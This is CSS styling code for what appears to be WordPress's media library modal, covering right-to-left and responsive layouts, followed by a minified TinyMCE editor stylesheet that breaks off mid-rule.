.media-embed .setting-group {
	width: 100%;
	margin: 10px 0;
	float: right;
	display: block;
	clear: both;
}

.media-embed .setting-group .setting:not(.checkbox-setting) {
	margin: 0;
}

.media-embed .setting.has-description {
	margin-bottom: 5px;
}

.media-embed .description {
	clear: both;
	font-style: normal;
}

.media-embed .content-track + .description {
	line-height: 1.4;
	/* The !important needs to override a high specificity selector from wp-medialement.css */
	max-width: none !important;
}

.media-embed .remove-track {
	margin-bottom: 10px;
}

.image-details .embed-media-settings .setting,
.image-details .embed-media-settings .setting-group {
	float: none;
	width: auto;
}

.image-details .actions {
	margin: 10px 0;
}

.image-details .hidden {
	display: none;
}

.media-embed .setting input[type="text"],
.media-embed .setting textarea,
.media-embed fieldset {
	display: block;
	width: 100%;
	max-width: 400px;
}

.image-details .embed-media-settings .setting input[type="text"],
.image-details .embed-media-settings .setting textarea {
	max-width: inherit;
	width: 70%;
}

.image-details .embed-media-settings .setting input.link-to-custom,
.image-details .embed-media-settings .link-target,
.image-details .embed-media-settings .custom-size,
.image-details .embed-media-settings .setting-group,
.image-details .description {
	margin-right: 27%;
	width: 70%;
}

.image-details .description {
	font-style: normal;
	margin-top: 0;
}

.image-details .embed-media-settings .link-target {
	margin-top: 16px;
}

.image-details .checkbox-label,
.audio-details .checkbox-label,
.video-details .checkbox-label {
	vertical-align: baseline;
}

.media-embed .setting input.hidden,
.media-embed .setting textarea.hidden {
	display: none;
}

.media-embed .setting span, /* Back-compat for pre-5.3 */
.media-embed .setting .name,
.media-embed .setting-group .name {
	display: inline-block;
	font-size: 13px;
	line-height: 1.84615384;
	color: #646970;
}

.media-embed .setting span {
	display: block; /* Back-compat for pre-5.3 */
	width: 200px; /* Back-compat for pre-5.3 */
}

.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
.image-details .embed-media-settings .setting .name {
	float: right;
	width: 25%;
	text-align: left;
	margin: 8px 1% 0;
	line-height: 1.1;
}

/* Buttons group in IE 11. */
.media-frame .setting-group .button-group,
.image-details .embed-media-settings .setting .button-group {
	width: auto;
}

.media-embed-sidebar {
	position: absolute;
	top: 0;
	right: 440px;
}

.advanced-section,
.link-settings {
	margin-top: 10px;
}

/**
 * Button groups fix: can be removed together with the Back-compat for pre-5.3
 */
 .media-frame .setting .button-group {
	 display: flex;
	 margin: 0 !important;
	 max-width: none !important;
 }

/**
 * Localization
 */
.rtl .media-modal,
.rtl .media-frame,
.rtl .media-frame .search,
.rtl .media-frame input[type="text"],
.rtl .media-frame input[type="password"],
.rtl .media-frame input[type="number"],
.rtl .media-frame input[type="search"],
.rtl .media-frame input[type="email"],
.rtl .media-frame input[type="url"],
.rtl .media-frame input[type="tel"],
.rtl .media-frame textarea,
.rtl .media-frame select {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) .rtl .media-modal,
:lang(he-il) .rtl .media-frame,
:lang(he-il) .rtl .media-frame .search,
:lang(he-il) .rtl .media-frame input[type="text"],
:lang(he-il) .rtl .media-frame input[type="password"],
:lang(he-il) .rtl .media-frame input[type="number"],
:lang(he-il) .rtl .media-frame input[type="search"],
:lang(he-il) .rtl .media-frame input[type="email"],
:lang(he-il) .rtl .media-frame input[type="url"],
:lang(he-il) .rtl .media-frame textarea,
:lang(he-il) .rtl .media-frame select {
	font-family: Arial, sans-serif;
}

/**
 * Responsive layout
 */
@media only screen and (max-width: 900px) {
	.media-modal .media-frame-title {
		height: 40px;
	}

	.media-modal .media-frame-title h1 {
		line-height: 2.22222222;
		font-size: 18px;
	}

	.media-modal-close {
		width: 42px;
		height: 42px;
	}

	/* Drop-down menu */
	.media-frame .media-frame-title {
		position: static;
		padding: 0 44px;
		text-align: center;
	}

	.media-frame:not(.hide-menu) .media-frame-router,
	.media-frame:not(.hide-menu) .media-frame-content,
	.media-frame:not(.hide-menu) .media-frame-toolbar {
		right: 0;
	}

	.media-frame:not(.hide-menu) .media-frame-router {
		/* 40 title + (40 - 6) menu toggle button + 6 spacing */
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-content {
		/* 80 + room for the tabs */
		top: 114px;
	}

	.media-frame.hide-router .media-frame-content {
		top: 80px;
	}

	.media-frame:not(.hide-menu) .media-frame-menu {
		position: static;
		width: 0;
	}

	.media-frame:not(.hide-menu) .media-menu {
		display: none;
		width: auto;
		max-width: 80%;
		overflow: auto;
		z-index: 2000;
		top: 75px;
		right: 50%;
		transform: translateX(50%);
		left: auto;
		bottom: auto;
		padding: 5px 0;
		border: 1px solid #c3c4c7;
	}

	.media-frame:not(.hide-menu) .media-menu.visible {
		display: block;
	}

	.media-frame:not(.hide-menu) .media-menu > a {
		padding: 12px 16px;
		font-size: 16px;
	}

	.media-frame:not(.hide-menu) .media-menu .separator {
		margin: 5px 10px;
	}

	/* Visually hide the menu heading keeping it available to assistive technologies. */
	.media-frame-menu-heading {
		clip: rect(1px, 1px, 1px, 1px);
		-webkit-clip-path: inset(50%);
		clip-path: inset(50%);
		height: 1px;
		overflow: hidden;
		padding: 0;
		width: 1px;
		word-wrap: normal !important;
	}

	/* Reveal the menu toggle button. */
	.wp-core-ui .media-frame:not(.hide-menu) .button.media-frame-menu-toggle {
		display: inline-flex;
		align-items: center;
		position: absolute;
		right: 50%;
		transform: translateX(50%);
		margin: -6px 0 0;
		padding: 0 12px 0 2px;
		font-size: 0.875rem;
		font-weight: 600;
		text-decoration: none;
		background: transparent;
		/* Only for IE11 to vertically align text within the inline-flex button */
		height: 0.1%;
		/* Modern browsers */
		min-height: 40px;
	}

	.wp-core-ui .button.media-frame-menu-toggle:hover,
	.wp-core-ui .button.media-frame-menu-toggle:active {
		background: transparent;
		transform: none;
	}

	.wp-core-ui .button.media-frame-menu-toggle:focus {
		/* Only visible in Windows High Contrast mode */
		outline: 1px solid transparent;
	}
	/* End drop-down menu */

	.media-sidebar {
		width: 230px;
	}

	.options-general-php .crop-content.site-icon {
		margin-left: 262px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.attachments-browser .attachments-wrapper,
	.attachments-browser.has-load-more .attachments-wrapper {
		left: 262px;
	}

	.attachments-browser .media-toolbar {
		height: 82px;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.media-frame-content .attachments-browser .attachments-wrapper {
		top: 82px;
	}

	.media-sidebar .setting,
	.attachment-details .setting {
		margin: 6px 0;
	}

	.media-sidebar .setting input,
	.media-sidebar .setting textarea,
	.media-sidebar .setting .name,
	.attachment-details .setting input,
	.attachment-details .setting textarea,
	.attachment-details .setting .name,
	.compat-item label span {
		float: none;
		display: inline-block;
	}

	.media-sidebar .setting span, /* Back-compat for pre-5.3 */
	.attachment-details .setting span, /* Back-compat for pre-5.3 */
	.media-sidebar .checkbox-label-inline {
		float: none;
	}

	.media-sidebar .setting .select-label-inline {
		display: inline;
	}

	.media-sidebar .setting .name,
	.media-sidebar .checkbox-label-inline,
	.attachment-details .setting .name,
	.compat-item label span {
		text-align: inherit;
		min-height: 16px;
		margin: 0;
		padding: 8px 2px 2px;
	}

	/* Needs high specificity. */
	.media-sidebar .setting .copy-to-clipboard-container,
	.attachment-details .attachment-info .copy-to-clipboard-container {
		margin-right: 0;
		padding-top: 0;
	}

	.media-sidebar .setting .copy-attachment-url,
	.attachment-details .attachment-info .copy-attachment-url {
		margin: 0 1px;
	}

	.media-sidebar .setting .value,
	.attachment-details .setting .value {
		float: none;
		width: auto;
	}

	.media-sidebar .setting input[type="text"],
	.media-sidebar .setting input[type="password"],
	.media-sidebar .setting input[type="email"],
	.media-sidebar .setting input[type="number"],
	.media-sidebar .setting input[type="search"],
	.media-sidebar .setting input[type="tel"],
	.media-sidebar .setting input[type="url"],
	.media-sidebar .setting textarea,
	.media-sidebar .setting select,
	.attachment-details .setting input[type="text"],
	.attachment-details .setting input[type="password"],
	.attachment-details .setting input[type="email"],
	.attachment-details .setting input[type="number"],
	.attachment-details .setting input[type="search"],
	.attachment-details .setting input[type="tel"],
	.attachment-details .setting input[type="url"],
	.attachment-details .setting textarea,
	.attachment-details .setting select,
	.attachment-details .setting + .description {
		float: none;
		width: 98%;
		max-width: none;
		height: auto;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.25; /* 36px */
	}

	.media-sidebar .setting select.columns,
	.attachment-details .setting select.columns {
		width: auto;
	}

	.media-frame input,
	.media-frame textarea,
	.media-frame .search {
		padding: 3px 6px;
	}

	.wp-admin .media-frame select {
		min-height: 40px;
		font-size: 16px;
		line-height: 1.625;
		padding: 5px 8px 5px 24px;
	}

	.image-details .column-image {
		width: 30%;
		right: 70%;
	}

	.image-details .column-settings {
		width: 70%;
	}

	.image-details .media-modal {
		right: 30px;
		left: 30px;
	}

	.image-details .embed-media-settings .setting,
	.image-details .embed-media-settings .setting-group {
		margin: 20px;
	}

	.image-details .embed-media-settings .setting span, /* Back-compat for pre-5.3 */
	.image-details .embed-media-settings .setting .name {
		float: none;
		text-align: right;
		width: 100%;
		margin-bottom: 4px;
		margin-right: 0;
	}

	.media-modal .legend-inline {
		position: static;
		transform: none;
		margin-right: 0;
		margin-bottom: 6px;
	}

	.image-details .embed-media-settings .setting-group .setting {
		margin-bottom: 0;
	}

	.image-details .embed-media-settings .setting input.link-to-custom,
	.image-details .embed-media-settings .setting input[type="text"],
	.image-details .embed-media-settings .setting textarea {
		width: 100%;
		margin-right: 0;
	}

	.image-details .embed-media-settings .setting.has-description {
		margin-bottom: 5px;
	}

	.image-details .description {
		width: auto;
		margin: 0 20px;
	}

	.image-details .embed-media-settings .custom-size {
		margin-right: 20px;
	}

	.collection-settings .setting input[type="checkbox"] {
		float: none;
		margin-top: 0;
	}

	.media-selection {
		min-width: 120px;
	}

	.media-selection:after {
		background: none;
	}

	.media-selection .attachments {
		display: none;
	}

	.media-modal .attachments-browser .media-toolbar .search {
		max-width: 100%;
		height: auto;
		float: left;
	}

	.media-modal .attachments-browser .media-toolbar .attachment-filters {
		height: auto;
	}

	/* Text inputs need to be 16px, or they force zooming on iOS */
	.media-frame input[type="text"],
	.media-frame input[type="password"],
	.media-frame input[type="number"],
	.media-frame input[type="search"],
	.media-frame input[type="email"],
	.media-frame input[type="url"],
	.media-frame textarea,
	.media-frame select {
		font-size: 16px;
		line-height: 1.5;
	}

	.media-frame .media-toolbar input[type="search"] {
		line-height: 2.3755; /* 38px */
	}

	.media-modal .media-toolbar .spinner {
		margin-bottom: 10px;
	}
}

@media screen and (max-width: 782px) {
	.imgedit-panel-content {
		grid-template-columns: auto;
	}

	.media-frame-toolbar .media-toolbar {
		bottom: -54px;
	}

	.mode-grid .attachments-browser .media-toolbar-primary {
		display: flex;
	}

	.mode-grid .attachments-browser .media-toolbar-primary input[type="search"] {
		width: 100%;
	}

	.media-sidebar .copy-to-clipboard-container .success,
	.attachment-details .copy-to-clipboard-container .success {
		font-size: 14px;
		line-height: 2.71428571;
	}

	.media-frame .wp-filter .media-toolbar-secondary {
		position: unset;
	}

	.media-frame .media-toolbar-secondary .spinner {
		position: absolute;
		top: 0;
		bottom: 0;
		margin: auto;
		right: 0;
		left: 0;
		z-index: 9;
	}

	.media-bg-overlay {
		content: '';
		background: #ffffff;
		width: 100%;
		height: 100%;
		display: none;
		position: absolute;
		right: 0;
		left: 0;
		top: 0;
		bottom: 0;
		opacity: 0.6;
	}
}

/* Responsive on portrait and landscape */
@media only screen and (max-width: 640px), screen and (max-height: 400px) {
	/* Full-bleed modal */
	.media-modal,
	.image-details .media-modal {
		position: fixed;
		top: 0;
		right: 0;
		left: 0;
		bottom: 0;
	}

	.media-modal-backdrop {
		position: fixed;
	}

	.options-general-php .crop-content.site-icon {
		margin-left: 0;
	}

	.media-sidebar {
		z-index: 1900;
		max-width: 70%;
		bottom: 120%;
		box-sizing: border-box;
		padding-bottom: 0;
	}

	.media-sidebar.visible {
		bottom: 0;
	}

	.attachments-browser .attachments,
	.attachments-browser .uploader-inline,
	.attachments-browser .media-toolbar,
	.media-frame-content .attachments-browser .attachments-wrapper {
		left: 0;
	}

	.image-details .media-frame-title {
		display: block;
		top: 0;
		font-size: 14px;
	}

	.image-details .column-image,
	.image-details .column-settings {
		width: 100%;
		position: relative;
		right: 0;
	}

	.image-details .column-settings {
		padding: 4px 0;
	}

	/* Media tabs on the top */
	.media-frame-content .media-toolbar .instructions {
		display: none;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (min-width: 901px) and (max-height: 400px) {
	.media-menu,
	.media-frame:not(.hide-menu) .media-menu {
		top: 0;
		padding-top: 44px;
	}

	/* Change margin direction on load more button in responsive views. */
	.load-more-wrapper .load-more-jump {
		margin: 12px 0 0;
	}

}

@media only screen and (max-width: 480px) {
	.wp-core-ui.wp-customizer .media-button {
		margin-top: 13px;
	}
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.wp-core-ui .media-modal-icon {
		background-image: url(../images/uploader-icons-2x.png);
		background-size: 134px 15px;
	}

	.media-frame .spinner {
		background-image: url(../images/spinner-2x.gif);
	}
}

.media-frame-content[data-columns="1"] .attachment {
	width: 100%;
}

.media-frame-content[data-columns="2"] .attachment {
	width: 50%;
}

.media-frame-content[data-columns="3"] .attachment {
	width: 33.33%;
}

.media-frame-content[data-columns="4"] .attachment {
	width: 25%;
}

.media-frame-content[data-columns="5"] .attachment {
	width: 20%;
}

.media-frame-content[data-columns="6"] .attachment {
	width: 16.66%;
}

.media-frame-content[data-columns="7"] .attachment {
	width: 14.28%;
}

.media-frame-content[data-columns="8"] .attachment {
	width: 12.5%;
}

.media-frame-content[data-columns="9"] .attachment {
	width: 11.11%;
}

.media-frame-content[data-columns="10"] .attachment {
	width: 10%;
}

.media-frame-content[data-columns="11"] .attachment {
	width: 9.09%;
}

.media-frame-content[data-columns="12"] .attachment {
	width: 8.33%;
}
/*! This file is auto-generated */
.mce-tinymce{box-shadow:none}.mce-container,.mce-container *,.mce-widget,.mce-widget *{color:inherit;font-family:inherit}.mce-container .mce-monospace,.mce-widget .mce-monospace{font-family:Consolas,Monaco,monospace;font-size:13px;line-height:150%}#mce-modal-block,#mce-modal-block.mce-fade{opacity:.7;transition:none;background:#000}.mce-window{border-radius:0;box-shadow:0 3px 6px rgba(0,0,0,.3);-webkit-font-smoothing:subpixel-antialiased;transition:none}.mce-window .mce-container-body.mce-abs-layout{overflow:visible}.mce-window .mce-window-head{background:#fff;border-bottom:1px solid #dcdcde;padding:0;min-height:36px}.mce-window .mce-window-head .mce-title{color:#3c434a;font-size:18px;font-weight:600;line-height:36px;margin:0;padding:0 36px 0 16px}.mce-window .mce-window-head .mce-close,.mce-window-head .mce-close .mce-i-remove{color:transparent;top:0;right:0;width:36px;height:36px;padding:0;line-height:36px;text-align:center}.mce-window-head .mce-close .mce-i-remove:before{font:normal 20px/36px dashicons;text-align:center;color:#646970;width:36px;height:36px;display:block}.mce-window-head .mce-close:focus .mce-i-remove:before,.mce-window-head .mce-close:hover .mce-i-remove:before{color:#135e96}.mce-window-head .mce-close:focus .mce-i-remove,div.mce-tab:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-window-head .mce-dragh{width:calc(100% - 36px)}.mce-window .mce-foot{border-top:1px solid #dcdcde}#wp-link .query-results,.mce-checkbox i.mce-i-checkbox,.mce-textbox{border:1px solid #dcdcde;border-radius:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.07);transition:.05s all ease-in-out}#wp-link .query-results:focus,.mce-checkbox:focus i.mce-i-checkbox,.mce-textbox.mce-focus,.mce-textbox:focus{border-color:#4f94d4;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-wp-help{height:360px;width:460px;overflow:auto}.mce-window .mce-wp-help *{box-sizing:border-box}.mce-window .mce-wp-help>.mce-container-body{width:auto!important}.mce-window .wp-editor-help{padding:10px 10px 0 20px}.mce-window .wp-editor-help h2,.mce-window .wp-editor-help p{margin:8px 0;white-space:normal;font-size:14px;font-weight:400}.mce-window .wp-editor-help table{width:100%;margin-bottom:20px}.mce-window .wp-editor-help table.wp-help-single{margin:0 8px 20px}.mce-window .wp-editor-help table.fixed{table-layout:fixed}.mce-window .wp-editor-help table.fixed td:nth-child(odd),.mce-window .wp-editor-help table.fixed th:nth-child(odd){width:12%}.mce-window .wp-editor-help table.fixed td:nth-child(2n),.mce-window .wp-editor-help table.fixed th:nth-child(2n){width:38%}.mce-window .wp-editor-help table.fixed th:nth-child(odd){padding:5px 0 0}.mce-window .wp-editor-help td,.mce-window .wp-editor-help th{font-size:13px;padding:5px;vertical-align:middle;word-wrap:break-word;white-space:normal}.mce-window .wp-editor-help th{font-weight:600;padding-bottom:0}.mce-window .wp-editor-help kbd{font-family:monospace;padding:2px 7px 3px;font-weight:600;margin:0;background:#f0f0f1;background:rgba(0,0,0,.08)}.mce-window .wp-help-th-center td:nth-child(odd),.mce-window .wp-help-th-center th:nth-child(odd){text-align:center}.mce-floatpanel.mce-popover,.mce-menu{border-color:rgba(0,0,0,.15);border-radius:0;box-shadow:0 3px 5px rgba(0,0,0,.2)}.mce-floatpanel.mce-popover.mce-bottom,.mce-menu{margin-top:2px}.mce-floatpanel .mce-arrow{display:none}.mce-menu .mce-container-body{min-width:160px}.mce-menu-item{border:none;margin-bottom:2px;padding:6px 15px 6px 12px}.mce-menu-has-icons i.mce-ico{line-height:20px}div.mce-panel{border:0;background:#fff}.mce-panel.mce-menu{border:1px solid #dcdcde}div.mce-tab{line-height:13px}div.mce-toolbar-grp{border-bottom:1px solid #dcdcde;background:#f6f7f7;padding:0;position:relative}div.mce-inline-toolbar-grp{border:1px solid #a7aaad;border-radius:2px;box-shadow:0 1px 3px rgba(0,0,0,.15);box-sizing:border-box;margin-bottom:8px;position:absolute;-webkit-user-select:none;user-select:none;max-width:98%;z-index:100100}div.mce-inline-toolbar-grp>div.mce-stack-layout{padding:1px}div.mce-inline-toolbar-grp.mce-arrow-up{margin-bottom:0;margin-top:8px}div.mce-inline-toolbar-grp:after,div.mce-inline-toolbar-grp:before{position:absolute;left:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}div.mce-inline-toolbar-grp.mce-arrow-up:before{top:-9px;border-bottom-color:#a7aaad;border-width:0 9px 9px;margin-left:-9px}div.mce-inline-toolbar-grp.mce-arrow-down:before{bottom:-9px;border-top-color:#a7aaad;border-width:9px 9px 0;margin-left:-9px}div.mce-inline-toolbar-grp.mce-arrow-up:after{top:-8px;border-bottom-color:#f6f7f7;border-width:0 8px 8px;margin-left:-8px}div.mce-inline-toolbar-grp.mce-arrow-down:after{bottom:-8px;border-top-color:#f6f7f7;border-width:8px 8px 0;margin-left:-8px}div.mce-inline-toolbar-grp.mce-arrow-left:after,div.mce-inline-toolbar-grp.mce-arrow-left:before{margin:0}div.mce-inline-toolbar-grp.mce-arrow-left:before{left:20px}div.mce-inline-toolbar-grp.mce-arrow-left:after{left:21px}div.mce-inline-toolbar-grp.mce-arrow-right:after,div.mce-inline-toolbar-grp.mce-arrow-right:before{left:auto;margin:0}div.mce-inline-toolbar-grp.mce-arrow-right:before{right:20px}div.mce-inline-toolbar-grp.mce-arrow-right:after{right:21px}div.mce-inline-toolbar-grp.mce-arrow-full{right:0}div.mce-inline-toolbar-grp.mce-arrow-full>div{width:100%;overflow-x:auto}div.mce-toolbar-grp>div{padding:3px}.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-right:32px}.mce-toolbar .mce-btn-group{margin:0}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}div.mce-statusbar{border-top:1px solid #dcdcde}div.mce-path{padding:2px 10px;margin:0}.mce-path,.mce-path .mce-divider,.mce-path-item{font-size:12px}.mce-toolbar .mce-btn,.qt-dfw{border-color:transparent;background:0 0;box-shadow:none;text-shadow:none;cursor:pointer}.mce-btn .mce-txt{direction:inherit;text-align:inherit}.mce-toolbar .mce-btn-group .mce-btn,.qt-dfw{border:1px solid transparent;margin:2px;border-radius:2px}.mce-toolbar .mce-btn-group .mce-btn:focus,.mce-toolbar .mce-btn-group .mce-btn:hover,.qt-dfw:focus,.qt-dfw:hover{background:#f6f7f7;color:#1d2327;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-toolbar .mce-btn-group .mce-btn.mce-active,.mce-toolbar .mce-btn-group .mce-btn:active,.qt-dfw.active{background:#f0f0f1;border-color:#50575e}.mce-btn.mce-active,.mce-btn.mce-active button,.mce-btn.mce-active i,.mce-btn.mce-active:hover button,.mce-btn.mce-active:hover i{color:inherit}.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover{border-color:#1d2327}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover{color:#a7aaad;background:0 0;border-color:#dcdcde;text-shadow:0 1px 0 #fff;box-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus{border-color:#50575e}.mce-toolbar .mce-btn-group .mce-first,.mce-toolbar .mce-btn-group .mce-last{border-color:transparent}.mce-toolbar .mce-btn button,.qt-dfw{padding:2px 3px;line-height:normal}.mce-toolbar .mce-listbox button{font-size:13px;line-height:1.53846153;padding-left:6px;padding-right:20px}.mce-toolbar .mce-btn i{text-shadow:none}.mce-toolbar .mce-btn-group>div{white-space:normal}.mce-toolbar .mce-colorbutton .mce-open{border-right:0}.mce-toolbar .mce-colorbutton .mce-preview{margin:0;padding:0;top:auto;bottom:2px;left:3px;height:3px;width:20px;background:#50575e}.mce-toolbar .mce-btn-group .mce-btn.mce-primary{min-width:0;background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:2px 3px 1px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico{color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus{box-shadow:0 0 1px 1px #72aee6}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox{border-radius:0;direction:ltr;background:#fff;border:1px solid #dcdcde}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-panel .mce-btn i.mce-caret{border-top:6px solid #50575e;margin-left:2px;margin-right:2px}.mce-listbox i.mce-caret{right:4px}.mce-panel .mce-btn:focus i.mce-caret,.mce-panel .mce-btn:hover i.mce-caret{border-top-color:#1d2327}.mce-panel .mce-active i.mce-caret{border-top:0;border-bottom:6px solid #1d2327;margin-top:7px}.mce-listbox.mce-active i.mce-caret{margin-top:-3px}.mce-toolbar .mce-splitbtn:hover .mce-open{border-right-color:transparent}.mce-toolbar .mce-splitbtn .mce-open.mce-active{background:0 0;outline:0}.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview,.mce-menu .mce-menu-item.mce-selected,.mce-menu .mce-menu-item:focus,.mce-menu .mce-menu-item:hover{background:#2271b1;color:#fff}.mce-menu .mce-menu-item.mce-selected .mce-caret,.mce-menu .mce-menu-item:focus .mce-caret,.mce-menu .mce-menu-item:hover .mce-caret{border-left-color:#fff}.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret,.rtl .mce-menu .mce-menu-item:focus .mce-caret,.rtl .mce-menu .mce-menu-item:hover .mce-caret{border-left-color:inherit;border-right-color:#fff}.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico,.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,.mce-menu .mce-menu-item.mce-selected .mce-ico,.mce-menu .mce-menu-item.mce-selected .mce-text,.mce-menu .mce-menu-item:focus .mce-ico,.mce-menu .mce-menu-item:focus .mce-menu-shortcut,.mce-menu .mce-menu-item:focus .mce-text,.mce-menu .mce-menu-item:hover .mce-ico,.mce-menu .mce-menu-item:hover .mce-menu-shortcut,.mce-menu .mce-menu-item:hover .mce-text{color:inherit}.mce-menu .mce-menu-item.mce-disabled{cursor:default}.mce-menu .mce-menu-item.mce-disabled:hover{background:#c3c4c7}div.mce-menubar{border-color:#dcdcde;background:#fff;border-width:0 0 1px}.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus,.mce-menubar .mce-menubtn:hover{border-color:transparent;background:0 0}.mce-menubar .mce-menubtn:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-menu-item-sep:hover,div.mce-menu .mce-menu-item-sep{border-bottom:1px solid #dcdcde;height:0;margin:5px 0}.mce-menubtn span{margin-right:0;padding-left:3px}.mce-menu-has-icons i.mce-ico:before{margin-left:-2px}.mce-menu.mce-menu-align .mce-menu-item-normal{position:relative}.mce-menu.mce-menu-align .mce-menu-shortcut{bottom:.6em;font-size:.9em}.mce-primary button,.mce-primary button i{text-align:center;color:#fff;text-shadow:none;padding:0;line-height:1.85714285}.mce-window .mce-btn{color:#50575e;background:#f6f7f7;text-decoration:none;font-size:13px;line-height:26px;height:28px;margin:0;padding:0;cursor:pointer;border:1px solid #c3c4c7;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-shadow:0 1px 0 #c3c4c7}.mce-window .mce-btn::-moz-focus-inner{border-width:0;border-style:none;padding:0}.mce-window .mce-btn:focus,.mce-window .mce-btn:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.mce-window .mce-btn:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.mce-window .mce-btn:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.mce-window .mce-btn.mce-disabled{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}.mce-window .mce-btn.mce-primary{background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:0 -1px 1px #135e96,1px 0 1px #135e96,0 1px 1px #135e96,-1px 0 1px #135e96}.mce-window .mce-btn.mce-primary:focus,.mce-window .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-window .mce-btn.mce-primary:focus{box-shadow:0 1px 0 #2271b1,0 0 2px 1px #72aee6}.mce-window .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96;vertical-align:top}.mce-window .mce-btn.mce-primary.mce-disabled{color:#9ec2e6!important;background:#4f94d4!important;border-color:#3582c4!important;box-shadow:none!important;text-shadow:0 -1px 0 rgba(0,0,0,.1)!important;cursor:default}.mce-menubtn.mce-fixed-width span{overflow-x:hidden;text-overflow:ellipsis;width:82px}.mce-charmap{margin:3px}.mce-charmap td{padding:0;border-color:#dcdcde;cursor:pointer}.mce-charmap td:hover{background:#f6f7f7}.mce-charmap td div{width:18px;height:22px;line-height:1.57142857}.mce-tooltip{margin-top:2px}.mce-tooltip-inner{border-radius:3px;box-shadow:0 3px 5px rgba(0,0,0,.2);color:#fff;font-size:12px}.mce-ico{font-family:tinymce,Arial}.mce-btn-small .mce-ico{font-family:tinymce-small,Arial}.mce-toolbar .mce-ico{color:#50575e;line-height:1;width:20px;height:20px;text-align:center;text-shadow:none;margin:0;padding:0}.qt-dfw{color:#50575e;line-height:1;width:28px;height:26px;text-align:center;text-shadow:none}.mce-toolbar .mce-btn .mce-open{line-height:20px}.mce-toolbar .mce-btn.mce-active .mce-open,.mce-toolbar .mce-btn:focus .mce-open,.mce-toolbar .mce-btn:hover .mce-open{border-left-color:#1d2327}div.mce-notification{left:10%!important;right:10%}.mce-notification button.mce-close{right:6px;top:3px;font-weight:400;color:#50575e}.mce-notification button.mce-close:focus,.mce-notification button.mce-close:hover{color:#000}i.mce-i-aligncenter,i.mce-i-alignjustify,i.mce-i-alignleft,i.mce-i-alignright,i.mce-i-backcolor,i.mce-i-blockquote,i.mce-i-bold,i.mce-i-bullist,i.mce-i-charmap,i.mce-i-dashicon,i.mce-i-dfw,i.mce-i-forecolor,i.mce-i-fullscreen,i.mce-i-help,i.mce-i-hr,i.mce-i-indent,i.mce-i-italic,i.mce-i-link,i.mce-i-ltr,i.mce-i-numlist,i.mce-i-outdent,i.mce-i-pastetext,i.mce-i-pasteword,i.mce-i-redo,i.mce-i-remove,i.mce-i-removeformat,i.mce-i-spellchecker,i.mce-i-strikethrough,i.mce-i-underline,i.mce-i-undo,i.mce-i-unlink,i.mce-i-wp-media-library,i.mce-i-wp_adv,i.mce-i-wp_code,i.mce-i-wp_fullscreen,i.mce-i-wp_help,i.mce-i-wp_more,i.mce-i-wp_page{font:normal 20px/1 dashicons;padding:0;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;margin-left:-2px;padding-right:2px}.qt-dfw{font:normal 20px/1 